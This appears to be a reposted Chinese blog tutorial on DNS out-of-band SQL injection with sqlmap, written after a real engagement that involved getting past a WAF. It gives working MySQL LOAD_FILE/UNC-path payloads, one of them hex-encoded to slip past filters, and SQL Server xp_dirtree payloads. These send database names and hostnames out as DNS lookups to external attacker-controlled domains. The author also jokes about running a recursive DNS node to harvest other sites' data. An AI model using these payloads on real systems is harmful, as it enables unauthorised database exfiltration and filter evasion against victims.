sqlmap利用DNS进行oob(out of band)注入（转）

域名号子域名资讯 2023-01-08 197浏览 0

0x00 起因

实际案子的时候遇到了一个注入，过狗可以使用sqlmap，但是是基于时间的注入和限制频率需要使用--delay参数，本来就是延时再加上--delay等的心力憔悴。所有有了下面介绍使用sqlmap利用DNS进行oob(out of band)注入，快速出数据。一般情况下仅适用于windows平台

0x01 场景

你有没有遇到这样类似的注入场景。
1、时间盲注，数据库、表及字段内容特别多，等到花儿也谢了。
2、mysql5.6+只能使用mysqli或pdo连接方式，多推荐使用pdo连接。使用pdo连接方式，可以执行多语句，但是PDO只会返回第一条SQL语句的执行结果，所以一般不能直接拿到数据，被迫通过update某个可见字段或者sleep注入
3、遇到waf拦截，含有特定内容的返回包接受不到，明明测试没有拦截过滤，感觉执行成功了，却没有接收到返回数据(能执行命令的时候也可以向web目录写文件)

0x02 原理

使用unc路径，会对指定的域名进行dns查询，使用dns信道，配合dns服务器收到的数据可快速得到数据内容。
使用dns有一定的好处，可以突破主机网络隔离，例如dmz主机不能直接连外网，但是配置的网络可达的dns服务器往往可以，通过查询域名递归的方式，dns服务器可以将返回数据通过dns协议带出去。
unc路径是windows下的特性，默认安装的linux下不存在这样的功能。

流程图如下：

mysql使用pdo链接数据库盲注判断是否成功的测试语句（普通的注入也可以参考）

SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));select hex("SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));")set @x=0x53454C454354204C4F41445F46494C4528434F4E43415428272F2F272C2853454C45435420277465737427292C272E6D7973716C2E70616E6F6B617A2E65786579652E696F2F6162632729293B;prepare a from @x;execute a;

mysql的使用场景：

之前抓到国内dns递归的上层dns服务器有360、tencent、ali的，如果我有一个这样的节点dns服务器，肯定可以收获很多羞羞的网站，想想还有点小激动呢≥▽≤
sqlserver可以使用以下方式

declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'sqlserver.panokaz.exeye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')

sqlserver的使用场景：

0x03 手工测试遇到的问题及解决方案

因为存在dns缓存，请求过一次域名后，会在本机产生dns记录，不会向外递归查询，所以unc路径中DNS域名不能相同
unc路径长度不能过长，通过sqlserver报错显示
以 '\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 开头的标识符太长。最大长度为 128。
可知unc路径最大长度为128
unc路径中不能含有空格等特殊字符，包含的话不会发送dns请求

以sqlserver的注入为例，参考sqlmap给出的方案解决

'; DECLARE @host varchar(1024); 
SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY name)+'.Nrz.rainism.cc'; 
EXEC('master..xp_dirtree "\\'+@host+'\cCkc"')--